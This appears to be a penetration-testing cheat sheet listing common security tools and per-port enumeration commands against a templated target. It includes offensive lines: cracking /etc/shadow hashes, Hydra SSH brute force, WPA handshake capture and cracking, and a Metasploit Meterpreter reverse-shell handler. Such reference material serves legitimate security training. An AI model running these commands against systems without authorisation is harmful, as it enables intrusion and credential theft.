Nmap
Installation:
sudo apt update && sudo apt install nmap -y
SYN scan plus version detection and default NSE scripts:
nmap -sS -sV -sC {{target}}
Official website: nmap.org
John the Ripper
Installation:
sudo apt update && sudo apt install john -y
Use rockyou wordlist to brute-force Linux /etc/shadow hashes
john --wordlist=/usr/share/wordlists/rockyou.txt /etc/shadow
Official website: openwall.com/john
Hydra
Installation:
sudo apt update && sudo apt install hydra -y
Attempt SSH logins using users.txt and pass.txt
hydra -L users.txt -P pass.txt ssh://{{target}} -t 4 -f
Official website: github.com/vanhauser-thc/thc-hydra
Gobuster
Installation:
sudo apt update && sudo apt install gobuster -y
Discover hidden directories on a web server with a wordlist
gobuster dir -u https://{{target}} -w /usr/share/wordlists/raft-large-directories.txt -t 50
Official website: github.com/OJ/gobuster
ffuf
Installation:
sudo apt update && sudo apt install ffuf -y
Fuzz URL paths or parameters to find hidden endpoints
ffuf -u https://{{target}}/FUZZ -w /usr/share/wordlists/raft-large-words.txt -t 100
Official website: github.com/ffuf/ffuf
Airodump-ng
Installation:
sudo apt update && sudo apt install aircrack-ng -y
Monitor and save WPA/WPA2 handshake packets from a target BSSID
sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w dump wlan0mon
Official website: aircrack-ng.org
Aircrack-ng
Installation:
sudo apt update && sudo apt install aircrack-ng -y
Use rockyou wordlist to crack the captured .cap file
aircrack-ng -w /usr/share/wordlists/rockyou.txt dump-01.cap
Official website: aircrack-ng.org
Metasploit
Installation:
sudo apt update && sudo apt install metasploit-framework -y
Launch a Meterpreter reverse_tcp handler on LHOST:LPORT
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x86/meterpreter/reverse_tcp; set LHOST 10.0.0.1; set LPORT 4444; run"
Official website: metasploit.com
dCode: Caesar Cipher Online Encoder/Decoder
What it does:
– Sends your plaintext “HELLO” with a shift of 3 to the dCode
– Returns the encoded result “KHOOR”
Official website: dcode.fr/caesar-cipher
CyberChef: Web-Based Data “Recipe” Tool
Browser-based tool for on-the-fly encoding, decoding, encryption, hashing, and data analysis via a drag-and-drop “recipe” interface.
Official website: gchq.github.io/CyberChef
HTTP: Retrieve Headers
Default port 80 – Fetch HTTP response headers from a web server
curl -I http://{{target}}
Banner grab via Telnet (port 80)
telnet {{target}} 80
HTTPS: TLS Handshake & Certificate Details
Default port 443 – Open a TLS session and display certificate info
openssl s_client -connect {{target}}:443
Fetch verbose headers with curl over HTTPS (port 443)
curl -Iv https://{{target}}
SSH: Interactive Shell & SOCKS Proxy
Default port 22 – Open a remote shell session over SSH
ssh user@{{target}}
Establish a local SOCKS5 proxy on port 1080 via SSH (port 22)
ssh -D 1080 user@{{target}}
FTP: Connect & List Directory
Default port 21 – Open an FTP session (anonymous)
ftp {{target}}
Banner grab via netcat on port 21
nc {{target}} 21
DNS: Query A Record
Default port 53 (UDP/TCP) – Retrieve DNS A record for a domain
dig {{target}} A +short
Simple lookup via nslookup (port 53)
nslookup {{target}}
SMTP: Manual Mail Session
Default port 25 – Open connection to SMTP and interact manually
telnet {{target}} 25
Test SMTP with swaks utility (port 25)
swaks --to you@{{target}} --server {{target}}
SMB: List Shares
Default port 445 – Enumerate SMB shares anonymously
smbclient -L //{{target}} -N
Low-level RPC interaction with rpcclient (port 445)
rpcclient -U ´...´ {{target}}
RDP: Remote Desktop Connection
Default port 3389 – Connect to Windows RDP service
xfreerdp /v:{{target}}
Alternate client via rdesktop (port 3389)
rdesktop {{target}}
SNMP: Walk Public Community
Default port 161 – Enumerate SNMP data with default “public” community
snmpwalk -v2c -c public {{target}}
Check SNMP info with snmp-check script (port 161)
snmp-check {{target}}
Telnet: Unencrypted Shell
Default port 23 – Open a raw Telnet session
telnet {{target}} 23
NTP: Query Time Server
Default port 123 – Fetch current time from NTP server
ntpdate -q {{target}}
Display NTP peers with chronyc (port 123)
chronyc sources
MySQL: Connect & List Databases
Default port 3306 – Login to MySQL as root user
mysql -h {{target}} -u root -p ...
Show all databases (after login)
SHOW DATABASES;